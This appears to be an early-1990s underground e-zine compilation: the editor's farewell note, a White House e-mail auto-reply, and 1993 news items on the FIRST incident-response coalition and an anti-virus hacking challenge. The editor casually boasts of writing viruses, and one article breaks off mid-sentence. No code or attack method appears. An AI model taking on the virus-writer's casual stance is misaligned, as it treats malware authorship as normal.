Is This The End?
++++++++++++++++

Well, to be honest. I'm kind of tired writing this magazine. It's
not like I hate it or anything, it's just too much pressure for one
person to handle. Decimator helped me out a bit with a few articals
and such. But still every time I do an issue it's me who does the
marjority of the work. It seems the magazine is bigger than I
thought. It seems to be on everybodys BBS from NY to California,
from Canada to Europe. The thing is I can't write this thing by
myself anymore. I work everyday from 2pm - 10pm and I will be going
back to school next semester. So I don't have time to handle all the
things I do. So in the long run the magazine suffers. Anyway,
unless people want to help out (mabey the reason is that I haven't
really asked before) lemme know. Contact me on Digital Warefare.
The numbers in an artical in this issue somewhere I'm sure. Anyway,
fuck it, If people don't contribute soon this may well be the last
issue of this rag ever. So whatever happens in 1992, we shall see.
So if this is it, later people. My viruses will still be coming on
strong as always...

[ChaosD: Voici la reponse recu a un courrier envoye ce matin au President
des Etats-Unis sur sa nouvelle messagerie ouverte le premier du mois:
[email protected].]

Thank you for sending in your thoughts and comments to the
President via electronic mail. We are pleased to introduce this
new form of communication into the White House for the first time
in history. I welcome your response and participation.

As we work to reinvent government and streamline our
processes, this electronic mail experiment will help put us on
the leading edge of progress. Please remember, though, this is
still very much an experiment.

Your message has been read, and we are keeping careful track
of all the mail we are receiving electronically. We will be
trying out a number of response-based systems shortly, and I ask
for your patience as we move forward to integrate electronic mail
from the public into the White House.

Again, on behalf of the President, thank you for your
message and for taking part in the White House electronic mail
project.

Sincerely,

Marsha Scott, Deputy Assistant
to the President and Director
of Correspondence

RESPONSE GROUP FORMED TO HANDLE INTERNATIONAL COMPUTER AND NETWORK SECURITY
PROBLEMS
Mainframe Computing May 00, 1993 V. 6 NO. 5 p. 1

Government and private organizations in North America and Europe are
joining forces to help combat and prevent the world's escalating computer
and network security problems.

Known as the *Forum of Incident Response and Security Teams*, or
FIRST, the coalition brings together a variety of computer security
incident response teams from the public and private sectors, as well as
from universities. FIRST aims to foster cooperation and coordination in
incident prevention, to prompt rapid reaction to incidents, and to promote
information sharing among its members. FIRST currently includes more than
20 response teams and liaisons (see attached list of participating
organizations).

Participation in FIRST is voluntary, and member teams must fund their own
involvement. One of FIRST's chief goals is to expand the number of
participating incident response teams and to foster increased cooperation
in incident response-related activities.

In general, a response team is set up to serve a defined constituency. In
many cases, a team serves a single organization's computer network users.
Other teams are operated by computer vendors and deal primarily with their
specific operating systems. Incident response teams generally augment an
organization's overall computer security efforts by focusing on computer
security incidents.

The FIRST Secretariat is responsible for various administrative and
coordination activities. The National Institute of Standards and Technology
serves as the secretariat.

"Computer security vulnerabilities associated with information technology,
such as malicious abuse or viruses, require a rapid, skilled and
coordinated response to minimize damage," said Dennis Steinauer, who
oversees NIST's participation in FIRST and chairs the FIRST Steering
Committee. "For a response team to be effective, it must have rapid
communication both within its own constituency and with other incident
response teams. That's what FIRST aims to accomplish." FIRST members, he
said, use automatic alerting mechanisms, electronic mail and a number of
other methods to achieve this rapid communication.

FIRST is working to achieve several goals:

* To boost cooperation among information technology users in the effective
prevention, detection and recovery from computer security incidents;

* To provide a means to alert and advise clients on potential threats and
emerging incident situations;

* To support and promote the actions and activities of participating
incident response teams, including research and operational activities; and

* To simplify and encourage the sharing of security-related information,
tools and techniques.

FIRST membership has grown quickly from 11 original teams to more than 20.
Although initial membership consisted primarily of U.S. government
organizations, membership of private-sector organizations, universities and
non-U.S. organizations is growing. Many are finding that FIRST

COMPUTER SECURITY EXPERTS ON THE ALERT
BALTIMORE MORNING SUN (BS) - Monday, May 24, 1993
By: Steve Auerweck Staff Writer
Edition: Final Section: Financial Page: 12C

On Nov. 2, 1988, Robert Morris, a Cornell University graduate student from
Arnold, set loose a "worm" that soon disabled thousands of computers on the
Internet, an enormous but loose conglomeration of computers nationwide.

Not long afterward, a group of computer security experts meeting at the
National Security Agency headquarters at Fort Meade to discuss the disaster
laid the groundwork for FIRST, the *Forum of Incident Response and
Security Teams.

FIRST, coordinated out of the National Institute of Standards and
Technology offices in Gaithersburg, is a coalition of computer security
response teams from both the public and private sectors.

Dennis Steinauer, chairman of the FIRST steering committee, describes
the need this way: "As more and more organizations get themselves hooked up
to networks . . . the threat population has increased, or at least the
avenues of exposure."

So FIRST now brings together a variety of outfits that might need to
respond swiftly to security threats. They range from teams at the Defense
Department to US Sprint, the Space Physics Analysis Network in France and
the Government Centre for Information Systems in the United Kingdom.

The idea is to provide swift communication among members about current
or potential problems, such as computer viruses or virulent hackers.

"We're not a professional or educational organization," Mr. Steinauer
says. "This is an operational activity."

Their main avenue of communication is the Internet, but they also
learned a lesson in 1988. "We have backup methods in place that we test
from time to time," Mr. Steinauer says, "including the telephone."

FIRST is contemplating staging "a fairly extensive drill"; it has not
yet been challenged by any major incidents.

COMPUTER SCIENCES LAB WINS DEFENSE CONTRACT

Computer Sciences Corp. learned last week that its Network Security
Integration Laboratory, located near Fort Meade, won a $19.9 million,
four-year contract to provide information security services to the Defense
Department.

The laboratory works with the National Computer Security Center, which
is affiliated with the NSA. The Anne Arundel lab averages 40 workers,
supported by another 60 at CSC's Systems Engineering Division in Falls
Church, Va. No new positions are anticipated here.

CSC, headquartered in El Segundo, Calif., had received a $6 million
contract for the first phase of the project last October.

Its security laboratory evaluates encryption devices built for computer
networks, telephones, fax machines and the like, and helps users put them
to work in specific applications. It also tests security systems and builds
mock-ups for Defense Department projects.

DIGITAL OFFERS $5,000 TO BREAK V-CARD SYSTEM

Digital Enterprises Inc. of Gaithersburg has a challenge for hackers:
Break its anti-virus scheme and win $5,000.

The company sells a hardware/software protection system called V-Card.
If you can beat the machine at its headquarters -- no Trojan horses or
bombs allowed, the company says -- you'll win the prize.

Enterprising hackers can call Digital at (301) 926-6937.

MICROPROSE GAMES HEADED FOR CD FORMATS

Hunt Valley's MicroProse Software Inc. has licensed several of its most
popular game titles to Capitol Multimedia Inc. for release in two new
mass-market compact disk formats. The Washington company will develop,
market and distribute the games for CD-I (CD-Interactive) and Sony CD-ROM
XA machines.

The titles covered by the worldwide pact are Sid Meier's Pirates,
Railroad Tycoon and Civilization, as well as Silent Service and Airborne
Ranger.

WAVERLY TO DISTRIBUTE DAROX VIDEODISCS

Waverly Inc.'s Electronic Media Division will be the exclusive
distributor of interactive videodiscs put out for nursing schools by Darox
Corp. of La Jolla, Calif.

Darox now has 32 titles for health professionals, with more being
developed. They join other Waverly products for medical instruction, such
as the Medi-Sim computer-assisted instruction programs and a line of
videos.

MAGAZINE SEEKS COMPUTER NIGHTMARES

Has your computer driven you right to the edge? Are you ready to hire a
disgruntled postal worker to blast the thing to smithereens? Do you long to
fold, spindle and mutilate?

Put those problems on paper and you may win a restful weekend in
California, courtesy of San Diego's ComputorEdge Magazine.

Its Computer Dementia Contest seeks a 1,000-word essay on your worst
computer nightmare. The most horrid wins a weekend out West.

"We have a couple hundred entries so far," said the magazine's Kevin
Leap. "Some are pretty hilarious. There was a guy who got Doritos stuck in
the keyboard and woke up the next morning with 220,000 pages of the letter
'E.' "

Send entries to P.O. Box 83086, San Diego, Calif. 92138. The deadline is
July 31.
